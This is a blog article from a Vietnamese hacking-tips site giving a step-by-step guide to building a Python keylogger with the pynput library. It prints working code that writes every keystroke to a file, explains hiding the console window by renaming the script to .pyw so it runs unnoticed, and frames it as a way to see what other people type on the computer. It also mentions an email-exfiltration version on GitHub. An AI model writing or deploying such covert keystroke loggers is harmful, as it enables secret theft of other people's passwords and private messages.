• Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
AnonyViet - English Version
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
No Result
View All Result
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
No Result
View All Result
AnonyViet - English Version
No Result
View All Result

The easiest way to create a KeyLogger in Python

AnonyViet by AnonyViet
January 27, 2023
in Security
0

Today I will guide you to write Code Keylogger in Python extremely simply. Currently, Python applications are being popular, especially the Ministry of Education has included Python in the secondary school curriculum. Therefore, it is never too early to study Python right now. Python is famous for its easy code and many libraries available. One of them is the pynput library that helps you to record keyboard and mouse logs, from which you can create a simple keylogger.

Join the channel Telegram of the AnonyViet 👉 Link 👈

The easiest way to create a KeyLogger in Python

A keylogger is a type of monitoring software designed to record user keystrokes. One of the oldest forms of cybersecurity threats, this keystroke logging feature records the information you enter any character on the keyboard, the Keylogger will record and save it to a file that will then be displayed. send to Hackers. So if the Keylogger is installed on the victim’s computer, the hacker can easily steal your account and password.

With only 7 python commands, you can easily create a simple Keylog for yourself.

First you need Download and install Python 3.x (currently Python 3.9). When installing, remember to select the function Add Python 3.x to Path on the first screen at installation.

You open CMD as Administrator and type the command:

pip install pynput

Next, open notepad, copy the keylogger code below and save it as keylog.py

from pynput.keyboard import Listener
def evnt_key_press(key):
    f = open('key.txt','a')
    f.write(str(key).replace("'",'') + "\n" )
    f.close()
obj = Listener(on_press=evnt_key_press)
obj.start()
obj.join()

keylog code in python

That’s it, now open CMD as Administrator and type the command

cd C:\

python keylog.py

write keylogger in python

Now on C drive will appear file key.txt, this file will store the characters that you typed on the keyboard. Each character is in a row, please take the time to put the letters together.

Now just activate the file keylog.pyyou’ll see what other people have typed on your computer, making it easier for you to control your computer.

In case you do not want to display the CMD window when activating Keylog, rename the file keylog.py Fort keylog.pyw

install python keylog

Now you can close the CMD . window okay, the keylog will work in the background without the average person knowing.

If you want to disable Keylog, then open it Task Manager (Ctrl + Shift + Esc) Go up and find the Process named Python -> End task

turn off python keylog

So AnonyViet has shown you how to write Keylogger in Python in the simplest way. As for the advanced features such as sending to email, taking screenshots … I will talk about it in the next post.

Update 9/29/2021: You can refer to Code Keylogger Python send Email at Github AnonyViet.

The article achieved: 5/5 – (100 votes)

Tags: createeasiestKeyloggerPython
Previous Post

How to increase search results per Google page

Next Post

Summary of free Free Hosting that can be registered

AnonyViet

AnonyViet

Related Posts

How to intercept traffic using Burp Suite to analyze HTTP/HTTPS
Security

How to intercept traffic using Burp Suite to analyze HTTP/HTTPS

April 18, 2026
How to use hackers use Splitfus to execute PowerShell malicious code
Security

How to use hackers use Splitfus to execute PowerShell malicious code

July 20, 2025
How to implement Shellcode Injection attack technique with Autoit
Security

How to implement Shellcode Injection attack technique with Autoit

March 14, 2025
How to exploit the holy hole of Hijacking on Windows
Security

How to exploit the holy hole of Hijacking on Windows

March 8, 2025
Hamamal: Shellcode execution technique from afar to overcome Antivirus's discovery
Security

Hamamal: Shellcode execution technique from afar to overcome Antivirus's discovery

February 10, 2025
Snov.io Email Finder: Search emails with only company name/domain name/LinkedIn profile
Security

Snov.io Email Finder: Search emails with only company name/domain name/LinkedIn profile

December 14, 2024
Next Post
Summary of free Free Hosting that can be registered

Summary of free Free Hosting that can be registered

0 0 votes
Article Rating
Subscribe
Login
Notify of
guest

guest

0 Comments
Oldest
Newest Most Voted

Recent News

How to create a website introducing yourself using Bio Link for free

How to create a website introducing yourself using Bio Link for free

July 17, 2026
Hippie OSINT Toolkit: The ultimate information investigation toolkit

Hippie OSINT Toolkit: The ultimate information investigation toolkit

July 17, 2026
HP 16GB RAM Laptop: Who should choose and is it necessary?

HP 16GB RAM Laptop: Who should choose and is it necessary?

July 17, 2026
Instructions on how to receive ShopeeVIP for 12 months for free

Instructions on how to receive ShopeeVIP for 12 months for free

July 16, 2026
How to create a website introducing yourself using Bio Link for free

How to create a website introducing yourself using Bio Link for free

July 17, 2026
Hippie OSINT Toolkit: The ultimate information investigation toolkit

Hippie OSINT Toolkit: The ultimate information investigation toolkit

July 17, 2026
HP 16GB RAM Laptop: Who should choose and is it necessary?

HP 16GB RAM Laptop: Who should choose and is it necessary?

July 17, 2026
AnonyViet - English Version

AnonyViet

AnonyViet is a website share knowledge that you have never learned in school!

We are ready to welcome your comments, as well as your articles sent to AnonyViet.

Follow Us

Contact:

Email: anonyviet.com[@]gmail.com

Main Website: https://anonyviet.com

Recent News

How to create a website introducing yourself using Bio Link for free

How to create a website introducing yourself using Bio Link for free

July 17, 2026
Hippie OSINT Toolkit: The ultimate information investigation toolkit

Hippie OSINT Toolkit: The ultimate information investigation toolkit

July 17, 2026
  • Home
  • Home 2
  • Home 3
  • Home 4
  • Home 5
  • Home 6
  • Next Dest Page
  • Sample Page

say88 tỷ lệ kèo nhà cái kèo nhà cái 5 febet

No Result
View All Result
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office

say88 tỷ lệ kèo nhà cái kèo nhà cái 5 febet

wpDiscuz
0
0
Would love your thoughts, please comment.x
()
x
| Reply